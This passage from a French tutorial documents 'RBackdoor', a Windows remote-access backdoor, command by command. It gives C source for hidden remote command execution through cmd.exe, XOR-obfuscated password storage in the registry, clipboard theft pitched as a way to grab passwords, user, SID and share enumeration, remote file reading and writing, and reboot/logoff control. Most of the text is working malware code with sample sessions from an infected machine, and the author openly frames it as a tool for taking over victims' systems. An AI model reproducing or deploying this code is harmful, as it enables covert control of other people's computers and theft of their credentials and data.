   strcat(systempath, "Service.exe");
   err = DeleteFile(systempath);
   if(err==FALSE) rsend(ConnectSocket, "Impossible de supprimer Service.exe, celui ci est en cours d'utilisation ou n'est pas present...\n");
   GlobalFree(systempath);
   rsend(ConnectSocket, "--------------------\n");
   rsend(ConnectSocket, "- System as Clean! -\n"); 
   rsend(ConnectSocket, "--------------------\n");
   
   GlobalFree(systempath);
   return(0);
}
--------------------------------------------------------------------- 

--------------------------------------------------------------------- 

                                  -------------- |     SETPASS     | --------------

Cette commande permet de modifier le pass affecté à la backdoor lors de son éxecution. 
Je tiens à préciser que ce password est stocké dans la base des registres mais pas de façon 
directement lisible mais crypté de façon simple, il est ensuite décrypté on the fly par la 
backdoor pour accomplir le processus d'authentification.

Command: setpass <password>

  -> Exemple:
     RBackdoor# setpass w00w00


=> Code.

int SetPassword(char *password)
{
    unsigned int err;
    HKEY   hkey;
    DWORD  dwDisposition;	
    char key[] = { 0x72,0x4E,0x47,0x55,0x56,0x40,0x53,0x44,0x7D,0x73,0x44,0x45,0x6A,0x4E,0x45,0x63,0x00 }; 

    for(err=0;err<strlen(key);err++)
    key[err]^=0x21;
    for(err=0; err<strlen(password); err++)
    password[err]^=0x52;
   
    if(strlen(password) < 1) {
	rsend(ConnectSocket, "msg: setpass <password>");
	return(-1);
    }
    err = DelPassword(); 
    err = RegCreateKeyEx(HKEY_LOCAL_MACHINE, key, 0, NULL, 0, 0, NULL, &hkey, &dwDisposition);
    if(err == ERROR_SUCCESS) {
        RegOpenKeyEx(HKEY_LOCAL_MACHINE,key,(DWORD)NULL,KEY_ALL_ACCESS,&hkey);
        RegSetValueEx(hkey,"password",(DWORD)NULL,REG_SZ,(const BYTE *)password,strlen(password));
	RegCloseKey(hkey);
    }
  return(err);
}

--------------------------------------------------------------------- 


                                  -------------- |     VERSION     | --------------

Affiche tout simplement la version présente de RBackdoor.

Command: version

  -> Exemple:
     RBackdoor# version
     ===========================================================
     =                   RedKod Backdoor 1.0                   =
     =                        By R-e-D                         =
     =                  http://www.redkod.com                  =
     =                     r-e-d@redkod.com                    =
     ===========================================================


=> Code.

int Proc_SendVersion(void) 
{
	unsigned int err;
	char version[] = { 0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x2B,0x1C,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x73,0x44,0x45,0x6A,0x4E,0x45,0x01,0x63,0x40,0x42,0x4A,0x45,0x4E,0x4E,0x53,0x01,
                           0x10,0x0F,0x11,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x1C,0x2B,0x1C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x63,0x58,0x01,0x73,0x0C,0x44,0x0C,0x65,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x1C,0x2B,0x1C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x49,0x55,0x55,0x51,0x1B,0x0E,0x0E,0x56,0x56,
                           0x56,0x0F,0x53,0x44,0x45,0x4A,0x4E,0x45,0x0F,0x42,0x4E,0x4C,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x1C,0x2B,
                           0x1C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x53,0x0C,0x44,0x0C,0x45,0x61,0x53,0x44,0x45,0x4A,
                           0x4E,0x45,0x0F,0x42,0x4E,0x4C,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,
                           0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x1C,0x2B,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,
                           0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x1C,0x2B,0x00 };

    for(err=0;err<strlen(version);err++)
    version[err]^=0x21;

    rsend(ConnectSocket,version);
    rsend(ConnectSocket,"\n\n\0");
    return(0);
}

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
4) Les commandes d'obtention de shell intéractif.
/////////////////////////////////////////////////////////////////////

Cette partie va exposer comment grâce à la backdoor éxecuter toutes 
commandes DOS, soit par une methode intéractive représentée par la 
commande 'shell' ou encore par une méthode plus directe et plus réelle,
qui aura pour but de nous procurer un vrai shell dos comme sous un vrai
console dos mais tout ceci à partir du shell de RBackdoor et à distance.


  => Commandes etudiées dans cette section:
/*
SHELL       Permet d'executer toute commande DOS sur le systeme cible
RSHELL      Permet de lancer un vrai shell DOS
*/


                                  -------------- |     SHELL     | --------------

Cette commande permet d'éxecuter toutes commandes DOS en lui passant simplement la commande voulue
en paramètre. Toutes le commandes executées seront bien sure invisible pour l'administrateur
(A part la liste des process).
Mais attention ! Les commandes comme 'ftp', 'telnet', etc ne fonctionnent pas.

Command: shell <command>

  -> Exemple:
     RBackdoor# shell ver
     Microsoft Windows XP [version 5.1.2600]
     ou encore :
     RBackdoor# shell netstat

     Connexions actives

     Proto  Adresse locale         Adresse distante         Etat
     TCP    redkod:1040            129.108.96.2:2108        ESTABLISHED
     TCP    redkod:1497            irc.prison.net:6667      ESTABLISHED
     Etc....


=> Code.

int shell(char *buf)
{
	char szBuffer, *buffer, *command;
	FILE *file;

	buffer=(char *)GlobalAlloc(GPTR,1024);
        command=(char *)GlobalAlloc(GPTR,1024);

	if(strchr(buf, ' ')) {
        buffer = (char *)strchr(buf, ' ')+1;
	strcpy(command, "cmd.exe /C ");
         strcat(command, buffer);
	strcat(command, " > tmp");
        WinExec (command,SW_HIDE);
	GlobalFree(command);
	Sleep(1000);
	file = fopen("tmp", "r");
	if (file != NULL)
	{
        while (!feof(file))
        {
        fread(&szBuffer, 1, 1, file);
	  if(szBuffer == '\0')	rsend(ConnectSocket, "\n");
	  sprintf(buffer, "%c", szBuffer);
 	  rsend(ConnectSocket, buffer);
        }
	fclose(file);
	GlobalFree(buffer);
	DeleteFile("tmp");
	}
        else {
        rsend(ConnectSocket, "Error: Erreur lors de l'acces au fichier temporaire\n");
        return(-1);
        }
	}
	else {
	rsend(ConnectSocket, "msg: Syntax: shell <command>\n");
	GlobalFree(command);
	GlobalFree(buffer);
	return(0);

	}
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     RSHELL     | --------------

RSHELL est très interressant, elle permet d'obtenir un vrai remote shell tout en restant
de façon intéractive en possession de la backdoor, mais comme pour la commande shell, les commandes
comme 'ftp', 'telnet', etc... ne soit pas supportées.

ATTENTION!! Svp ! Evitez de quitter de façon asser barbare avec le très connu CTRL+C.
Quittez plutot grâce à la commande 'exit'. De plus si vous jouez trop avec la Backdoor et
CTRL+C vous risquez de la perdre, ce qui serais dommage.

Command: rshell

  -> Exemple:
     RBackdoor# rshell
                                          ATTENTION!!
    Pour fermer le shell veuillez tapez 'exit'! Sinon perte de la backdoor envisageable !

    Microsoft Windows XP [version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

   C:\RBackdoor>ver
   Microsoft Windows XP [version 5.1.2600]


=> Code.

 Too long, look at rshell.c in RBackdoor Project.

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
5) Les commandes de prise d'empreintes
/////////////////////////////////////////////////////////////////////

Toutes les commandes qui vont etres présentées dans cette parties sont
destinées à récupérer un maximum d'informations sur la machine distante grâce
à RBackdoor. 


  => Commandes etudiées dans cette section:
/*
SYSINFO     Permet de recuperer des informations sur le systeme cible
DISKINFO    Permet de recuperer des informations sur les disques durs
CLIP        Permet de recuperer le contenu du presse papier
GETGROUPS   Permet de recuperer des informations sur les groupes, les users, les SID :)
USERINFO    Permet d'obtenir des informations sur un utilisateur
UPTIME      Permet d'afficher depuis combien de temps le systeme fonctionne
WHOAMI      Permet de recuperer l'utilisateur logge sur la machine
LISTEVENT   Permet de lister les journaux du eventlog
NETSHARE    Permer d'afficher les ressources partager de la machine local ou d'une machine distante
ENUMSERVER  Permet d'afficher les servers appartenant au domaine
SCREENSHOT  Permet de prendre un screenshot du bureau de la machine distante
*/

                                 -------------- |     SYSINFO     | --------------

Cette commande permet de récuperer pas mal d'informations sur l'hôte distante, comme
le type de processeur, la version de l'OS, l'état de la ram ou encore la résolution
du moniteur.

Command: sysinfo

  -> Exemple:

 Fri May 24 18:03:49 2002

 > Processor Speed : 1467 Mhz

 > Processor Name : AMD Athlon(tm) XP 1700+

 > Processor Type : INTEL PENTIUM

 > Number of processor : 1

 > OS Version : Win32 on Windows NT

 > Computer Name : REDKOD

 > Etat de la ram :
  - Octets Libres : 62881792
  - Memoire disponible : 267894784
  - Pourcentage de la memoire utilisee : 76

 > Resolution : 1280*960

=> Code.

 Too long, look at getinfos.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     DISKINFO     | --------------

DISKINFO va permettre de récupérer diverses informations sur les lecteurs logiques présents
sur l'hôte distant, comme les types de lecteurs, les informations sur la taille, etc...

Command: diskinfo

  -> Exemple:
   RBackdoor# diskinfo
   Liste des lecteurs logiques presents sur la machine :
   A:\  : DRIVE_REMOVABLE
   C:\  : DRIVE_FIXED    FreeSpace : 2077 MB TotalSpace : 4996 MB
   D:\  : DRIVE_FIXED    FreeSpace : 12944 MB TotalSpace : 14998 MB
   E:\  : DRIVE_FIXED    FreeSpace : 11457 MB TotalSpace : 39997 MB
   F:\  : DRIVE_FIXED    FreeSpace : 16287 MB TotalSpace : 16352 MB
   G:\  : DRIVE_CDROM    FreeSpace : 0 MB TotalSpace : 0 MB
   H:\  : DRIVE_CDROM    FreeSpace : 0 MB TotalSpace : 0 MB

=> Code.

int Send_HardDriveInfos(char *szDrive, int type, unsigned __int64 i64TotalBytes, unsigned __int64 i64FreeBytes)
{
	char *buffer, *hdtype;

	buffer = (char *)GlobalAlloc(GPTR, 1024);
	hdtype = (char *)GlobalAlloc(GPTR, 256);

	switch(type)
	{
	case 0 : strcpy(hdtype, "UNKNOWN");
		break;
	case 1 : strcpy(hdtype, "UNKNOW");
		break;
	case DRIVE_REMOVABLE: strcpy(hdtype,"DRIVE_REMOVABLE");
		break;
	case DRIVE_FIXED: strcpy(hdtype, "DRIVE_FIXED");
		break;
	case DRIVE_CDROM: strcpy(hdtype, "DRIVE_CDROM");
		break;
	case DRIVE_RAMDISK: strcpy(hdtype, "DRIVE_RAMDISK");	
		break;
	default: strcpy(hdtype, "DRIVE_NETWORK");
		break;
	}
	sprintf(buffer, "%s  : %s    FreeSpace : %I64u MB TotalSpace : %I64u MB\n", szDrive, hdtype,i64FreeBytes, i64TotalBytes);
	rsend(ConnectSocket, buffer);	
	GlobalFree(buffer);
	GlobalFree(hdtype);
	return(0);
}

int Proc_GetDrivesInfos()
{
BOOL fResult;
unsigned int err;
unsigned __int64 i64TotalBytes,i64FreeBytes;
int i, iStrsLen;
char smzDrives[256], szDrive[256];
DWORD dwSectPerClust, dwBytesPerSect, dwFreeClusters, dwTotalClusters;

iStrsLen = GetLogicalDriveStrings (sizeof(smzDrives), smzDrives);

if (iStrsLen == 0)
{
	rsend(ConnectSocket, "Error: Erreur lors de la tentative d'obtention des informations sur les lecteurs logiques\n");
    return(0);
}
else
{
   if (iStrsLen > sizeof(smzDrives))
   {
   }
   else
   {
	  rsend(ConnectSocket, "Liste des lecteurs logiques presents sur la machine :\n");
      i = 0;
      while (smzDrives[i])
      {
         strcpy (szDrive, &(smzDrives[i]));
		 err = GetDriveType(&(smzDrives[i]));
		 if(!strcmp(szDrive, "A:\\")) 
		 {
			 rsend(ConnectSocket, "A:\\  : DRIVE_REMOVABLE\n");
			 i = i + 1;
		 }
	     else {
		 fResult = GetDiskFreeSpace (&(smzDrives[i]), &dwSectPerClust, &dwBytesPerSect, &dwFreeClusters, &dwTotalClusters);		 
		 i64TotalBytes = (__int64)dwTotalClusters * dwSectPerClust * dwBytesPerSect;
                 i64FreeBytes = (__int64)dwFreeClusters * dwSectPerClust * dwBytesPerSect;
		 Send_HardDriveInfos(&(smzDrives[i]), err, i64TotalBytes / (1024*1024), i64FreeBytes / (1024*1024));
		 }         
        while (smzDrives[i]) i++;
        i++;
      }
   }
}
return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     CLIP     | --------------

CLIP va nous permettre de nous envoyer le contenu du presse papier de l'hôte distant,
ce qui peut etre utile lors de la recuperation de mot de passe ou de choses dans le même
genre.

Command: clip

  -> Exemple:
    RBackdoor# clip
    > Computer Name : REDKOD

=> Code.


int Clip()
{
	char *buffer, *strbuffer;
	if(OpenClipboard(NULL))
	{
		buffer = (char*)GetClipboardData(CF_TEXT);
        strbuffer = (char *)GlobalAlloc(GPTR, 1024);
		sprintf(strbuffer, "\n%s\n", buffer);
		rsend(ConnectSocket, strbuffer);
		GlobalFree(strbuffer);
	}
	return(0);
}

---------------------------------------------------------------------

                                -------------- |     GETGROUPS     | --------------

Cette commande est très interressante elle va vous permettre d'obtenir la liste de tous les users, de tous les groupes, et leur
SID de la machine distante.


Command: clip

  -> Exemple:
RBackdoor# getgroups
*******************************************
Number of groups : 12
*******************************************

-------------------------------------------
=> GROUP 1 : Administrateurs
-------------------------------------------

SID : S-1-5-32-544
 - [root]       SID : S-1-5-21-1202660629-2147115235-854245398-500
 - [R-e-D]      SID : S-1-5-21-1202660629-2147115235-854245398-1008

-------------------------------------------
=> GROUP 2 : Duplicateurs
-------------------------------------------

SID : S-1-5-32-552

-------------------------------------------
=> GROUP 3 : InvitÚs
-------------------------------------------

SID : S-1-5-32-546
 - [user]       SID : S-1-5-21-1202660629-2147115235-854245398-501
 - [IWAM_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1007
 - [IUSR_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1009

-------------------------------------------
=> GROUP 4 : OpÚrateurs de configuration rÚseau
-------------------------------------------

SID : S-1-5-32-556

-------------------------------------------
=> GROUP 5 : OpÚrateurs de sauvegarde
-------------------------------------------

SID : S-1-5-32-551

-------------------------------------------
=> GROUP 6 : Utilisateurs
-------------------------------------------

SID : S-1-5-32-545
 - [INTERACTIF] SID : S-1-5-4
 - [Utilisateurs authentifiÚs]  SID : S-1-5-11
 - [R-e-D]      SID : S-1-5-21-1202660629-2147115235-854245398-1008

-------------------------------------------
=> GROUP 7 : Utilisateurs avec pouvoir
-------------------------------------------

SID : S-1-5-32-547

-------------------------------------------
=> GROUP 8 : Utilisateurs du Bureau Ó distance
-------------------------------------------

SID : S-1-5-32-555

-------------------------------------------
=> GROUP 9 : Utilisateurs du dÚbogueur
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1012
 - [R-e-D]      SID : S-1-5-21-1202660629-2147115235-854245398-1008
 - [IWAM_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1007

-------------------------------------------
=> GROUP 10 : VS Developers
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1014

-------------------------------------------
=> GROUP 11 : Web Anonymous Users
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1010
 - [IUSR_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1009

-------------------------------------------
=> GROUP 12 : Web Applications
-------------------------------------------

SID : S-1-5-21-1202660629-2147115235-854245398-1011
 - [IWAM_REDKOD]        SID : S-1-5-21-1202660629-2147115235-854245398-1007

*******************************************


=> Code.

Too long, look at sid.c in RBackdoor project...

---------------------------------------------------------------------

                                 -------------- |     USERINFO    | --------------

La commande USERINFO va permettre une obtention d'informations (SID, etc...) sur un utilisateur donné.

Command: userinfo <\\server> <user>

  -> Exemple:
    RBackdoor# userinfo \\REDKOD R-e-D

    > USER NAME : R-e-D
    > USER SID : S-1-5-21-1202660629-2147115235-854245398-1008
    > ACCOUNT STATUS : password doesnt expire

=> Code.

nt get_usr_info(char *host, char *user)
{
   NET_API_STATUS nas;
   USER_INFO_1    usrinfos;
   LPBYTE         *buf = NULL;

   if(strlen(host) < 1 || strlen(user) < 1)
   {
	   Proc_help("userinfo");
	   return(-1);
   }

   buf = (LPBYTE *)GlobalAlloc(GPTR, sizeof(USER_INFO_1));

   nas = NetUserGetInfo((unsigned short *)AsWideString(host), (unsigned short *)AsWideString(user), 1, buf);
   
   rsend(ConnectSocket, "\n > USER NAME : ");
   rsend(ConnectSocket, user);
   rsend(ConnectSocket, "\n > USER ");
   LookupSID(host, user);
   
   if(nas){
     rsend(ConnectSocket, "Error: couldnt get user info.");
   }
   else{
     memcpy(&usrinfos, *buf, sizeof(USER_INFO_1));

     if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : password not required, how about that.\n");
     if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account disabled\n");
     if( (UF_LOCKOUT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account locked out\n");
     if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : password doesnt expire\n");
     if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : user cant change password\n");
     if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account for some other box in this domain\n");
     if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : account for what is prolly the BDC\n");
     if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) )
       rsend(ConnectSocket, " > ACCOUNT STATUS : interdomain permit to trust account\n");
   }
   return(0);
   GlobalFree(buf);
}

--------------------------------------------------------------------- 

                                 -------------- |     UPTIME    | --------------

La commande UPTIME va vous permettre de savoir depuis combien de temps la machine est active.

Command: uptime

  -> Exemple:
     RBackdoor# uptime
     Date: 05-18-2002
     Time: 17:52:21

=> Code.

void uptime(void)
{
  char *buffer;
  SYSTEM_TIME_INFORMATION Sti;
  LONG                    status;
  FILETIME                ftSystemBoot;
  SYSTEMTIME              stSystemBoot;

  buffer = (char *)GlobalAlloc(GPTR, 1024);

  NtQuerySystemInformation = (PROCNTQSI)GetProcAddress(GetModuleHandle("ntdll"),"NtQuerySystemInformation");


  if (!NtQuerySystemInformation)
     return;

  status = NtQuerySystemInformation(3,&Sti,sizeof(Sti),0);
  if (status!=NO_ERROR)
     return;

  ftSystemBoot = *(FILETIME *)&(Sti.liKeBootTime);

  FileTimeToLocalFileTime(&ftSystemBoot,&ftSystemBoot);
  FileTimeToSystemTime(&ftSystemBoot,&stSystemBoot);

  sprintf(buffer, "Date: %02d-%02d-%04d\nTime: %02d:%02d:%02d\n",
         stSystemBoot.wMonth,stSystemBoot.wDay,stSystemBoot.wYear,
         stSystemBoot.wHour,stSystemBoot.wMinute,stSystemBoot.wSecond);
  rsend(ConnectSocket, buffer);
  GlobalFree(buffer);
}

--------------------------------------------------------------------- 

                                 -------------- |     WHOAMI    | --------------

La commande WHOAMI va nous permettre de savoir quel utilisateur local est loggé sur la machine,
Ce qui nous permettra d'observer si l'administrateur est loggé et donc profiter de ses droits. :)

Command: whoami

  -> Exemple:
     RBackdoor# whoami
     Current User: R-e-D

=> Code.

int SendUserName()
{
	char *acUserName;
	DWORD nUserName = 256;
	acUserName = (char *)GlobalAlloc(GPTR, 256);
        if (GetUserName(acUserName, &nUserName) == 0) {
	rsend(ConnectSocket, "Error: Erreur lors de la tentative d'obtention de l'user logué\n");
	GlobalFree(acUserName);
 	return(-1);
        }
	rsend(ConnectSocket, "Current User: ");
	rsend(ConnectSocket, acUserName);
	rsend(ConnectSocket, "\n");
        GlobalFree(acUserName);
        return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     LISTEVENT    | --------------

LISTEVENT va nous permettre de lister les evenements présents dans l'eventlog de la machine distante.

Command: listevent <host> <type>

  -> Exemple:
     Backdoor# listevent \\REDKOD Applications
     > 00  Event ID: 0x00000001 EventType: 1 Source: r00ted

=> Code.

int ListEvent(char *host, char *type)
{
	HANDLE h;
	EVENTLOGRECORD *pevlr;
	BYTE bBuffer[1024];
	DWORD dwRead, dwNeeded, dwThisRecord = 0;
	char *buffer;
	
	buffer = (char *)GlobalAlloc(GPTR, 1024);
	
	if(strlen(host)<1 || strlen(type) < 1)
	{
		Proc_help("listevent");
		return(-1);
	}
	
	h = OpenEventLog(host, type);
	if (h == NULL) {
		rsend(ConnectSocket, "Error: could not register event source");
		return(-1);
	}
	pevlr = (EVENTLOGRECORD *) &bBuffer;
	
	while (ReadEventLog(h,EVENTLOG_FORWARDS_READ | EVENTLOG_SEQUENTIAL_READ,0,pevlr,1024,&dwRead,&dwNeeded)) {
		while (dwRead > 0) {
			sprintf(buffer, " > %02d  Event ID: 0x%08X ", dwThisRecord++, pevlr->EventID);
			rsend(ConnectSocket, buffer);
			sprintf(buffer, "EventType: %d Source: %s\n", pevlr->EventType, (LPSTR) ((LPBYTE) pevlr + sizeof(EVENTLOGRECORD)));
			rsend(ConnectSocket, buffer);
			dwRead -= pevlr->Length;
			pevlr = (EVENTLOGRECORD *) ((LPBYTE) pevlr + pevlr->Length);
		}
		pevlr = (EVENTLOGRECORD *) &bBuffer;
	}
	CloseEventLog(h);
	GlobalFree(buffer);
	return(0);
}


--------------------------------------------------------------------- 


                                 -------------- |     NETSHARE    | --------------

La commande NETSHARE permet de lister les ressources partagées presentes sur une machine du réseau.

Command: netshare <\\server>

  -> Exemple:
     RBackdoor# netshare \\REDKOD
     =====================================
     => 6 Entrees sur 6
     =====================================
     > E$                       disk    *     E:\
     > IPC$                     ipc     *
     > D$                       disk    *     D:\
     > F$                       disk    *     F:\
     > ADMIN$                   disk    *     C:\WINDOWS
     > C$                       disk    *     C:\

=> Code.

Too long, look at netbios.c in the RBackdoor Project.

--------------------------------------------------------------------- 

                                 -------------- |     ENUMSERVER    | --------------

La commande ENUMSERVER permet de lister les machines presentes dans le domaine auquel appartient la machine infectée.

Command: enumserver <\\server>

=> Code.

Too long, look at netbios.c in the RBackdoor Project.

--------------------------------------------------------------------- 

                                 -------------- |     SCREENSHOT    | --------------

La commande SCREENSHOT va prendre une 'photo' de l'état du bureau distant.

Command: screenshot <file.bmp>

   -> Exemple:
      RBackdoor# screenshot c:\ScreenShot.bmp
      msg: Bitmap captured to disk file.
      
=> Code.

Too long, look at screenshot.c in the RBackdoor Project.

--------------------------------------------------------------------- 


/////////////////////////////////////////////////////////////////////
6) Les commandes de lecture et d'écriture de fichiers.
/////////////////////////////////////////////////////////////////////

  Je présenterais dans cette section les commandes permettant d'afficher 
Le contenu d'un fichier ou encore d'altérer son contenu. 

=> Commandes etudiées dans cette section:
/*
VIEW        Permet de lire le contenu d'un fichier
WRITE       Permet d'ecrire directement dans un fichier
*/

                                 -------------- |     VIEW    | --------------

La commande VIEW est très simple d'utilisation, elle permet d'afficher le contenu
d'un fichier.

Command: view <file>

  -> Exemple:
     RBackdoor# view boot.ini
     [boot loader]
     timeout=30
     default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
     [operating systems]
     multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professionnel"
     /fastdetect


=> Code.

int Proc_View(char *arg)
{
    char szBuffer, *buffer;
    FILE *file;
    
    if(strlen(arg) < 1) {
		rsend(ConnectSocket, "msg: view <file>");
		return(-1);
	}

	file = fopen(arg, "r");
	if (file != NULL)
	{
	buffer=(char *)GlobalAlloc(GPTR,1024);
    while (!feof(file))
    {
      fread(&szBuffer, 1, 1, file);
	  if(szBuffer == '\0')	rsend(ConnectSocket, "\n"); 
	  sprintf(buffer, "%c", szBuffer);
	  rsend(ConnectSocket, buffer);
    }
	fclose(file);
	GlobalFree(buffer);
	}
	else rsend(ConnectSocket, "Error: Erreur lors de la tentative d'ouverture du fichier\n"); 
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     WRITE    | --------------

Cette commande est tres utile, elle permet de modifier
Tout fichier, ce qui peut être utile pour éditer des fichiers de configuration directement
À partir de RBackdoor.

Command: write <file>

  -> Exemple:
     RBackdoor# write dir.txt
     msg: Fichier ouvert avec succes. [Taper 'EOF' Et entrer pour sauvegarder et quitter]
     HELLO
     EOF
     msg: dir.txt : Sauvegarde avec succes.

     RBackdoor# view dir.txt
     HELLO

=> Code.

int Write(char *path)
{
	FILE *file;
	unsigned int err;
	char *buffer;

        if(strlen(path) < 1) {
		rsend(ConnectSocket, "Command: write <file>\n");
		return(-1);
	}

	file = fopen(path, "wb");
	if(file==NULL)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative d'ouverture ou de creation du fichier\n");
		return(-1);
	}
	else {
		rsend(ConnectSocket, "msg: Fichier ouvert avec succes. [Taper 'EOF' Et entrer pour sauvegarder et quitter]\n");
		buffer = (char *)GlobalAlloc(GPTR, 1024);
	
        while(1)
	{	
		err = recv(ConnectSocket, buffer, RECV_BUF_MAXLEN, 0);
		Proc_Error(err);
		buffer[err] = '\0';
        if(!strcmp(buffer, "EOF\n")) 
		{
			rsend(ConnectSocket, "msg: ");
			rsend(ConnectSocket, path);
			rsend(ConnectSocket, " : Sauvegarde avec succes.\n");
			fclose(file);
			GlobalFree(buffer);
			break;
		}
		else fwrite(buffer, strlen(buffer), 1, file);
	} 
	}
	return(0);
}

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
- 7) Les commandes permettant d'agir directement sur le comportement ou la configuration de la machine distante.
/////////////////////////////////////////////////////////////////////

 Dans cette section, je présenterais les commandes qui vous permettre d'agir directement sur
Le comportement de la machine distance ou encore sur sa configuration.

=> Commandes etudiées dans cette section:
/*
BEEP        Fait beeper le haut parleur interne
LOGOFF      Permet de fermer la session de l'utilisateur courant
REBOOT      Permet de redemarrer la machine
MSGBOX      Permet d'envoyer une boite de dialogue au systeme cible avec message personalisee
MOUSE       Permet de placer le curseur de la souris au coordonnees x et y voulues
SENDKEY     Permet d'emuler la pression d'une touche du clavier
SETNAME     Change le nom NetBios du serveur
ADDEVENT    Permet d'ajouter un evenement dans l'eventlog
ADDSHARE    Permet d'ajouter une ressource partagee
DELSHARE    Permet de retirer une ressource partagee
CLEARLOG    Permet d'effacer un journal complet de l'eventlog
*/

                                 -------------- |     BEEP    | --------------

La commande BEEP permet de faire 'beeper' l'haut parleur interne de la cible. D'ailleurs la fonction présente
Fait un peu plus que ça, elle créer une sorte d'alarme, ce qui va sûrement alerter et surtout étonner
L’administrateur. :)

Command: beep

  -> Exemple:
     RBackdoor# beep
     msg: Beep en cours d'execution...
     msg: Emission des beeps terminee

=> Code.

void beep(void)
{
	int i;
	rsend(ConnectSocket, "msg: Beep en cours d'execution...\n");
	for(i=0;i<5;i++)
	{
        _beep(200,250);
		_beep(400,500);
	}
	rsend(ConnectSocket, "msg: Emission des beeps terminee\n");
}

--------------------------------------------------------------------- 

                                 -------------- |     LOGOFF    | --------------

Cette commande permet de fermer la session courante de l'utilisateur, ce qui peut désactiver la backdoor
Jusque la prochaine session s'il elle n'est pas lancée en tant qu'agent SYSTEM.

Command: logoff

  -> Exemple:
     RBackdoor# logoff

=> Code.

ExitWindows(0, 0); // Et oui, tout simplement. :)

--------------------------------------------------------------------- 

                                 -------------- |     REBOOT    | --------------

Alors la, commande très radicale, elle permet de redémarrer la machine distante, par exemple
Après la modification d'un fichier de configuration qui nécessite un redémarrage pour être pris
En compte.

Command: reboot

  -> Exemple:
     RBackdoor# reboot
     Etes vous sure de vouloir redemarrer la machine? (Y/N)Y
     
     La machine va redemarrer dans 5 secondes...

=> Code.

int reboot()
{
	HANDLE hToken;    	    
	TOKEN_PRIVILEGES tkp; 	
        unsigned int err;
	char *buffer;

	buffer = (char *)GlobalAlloc(GPTR, 1024);

	rsend(ConnectSocket, "Etes vous sure de vouloir redemarrer la machine? (Y/N)\n");
	err = recv(ConnectSocket, buffer, RECV_BUF_MAXLEN, 0);
	buffer[err] = '\0';
	if(!strcmp(buffer, "Y\n"))
	{
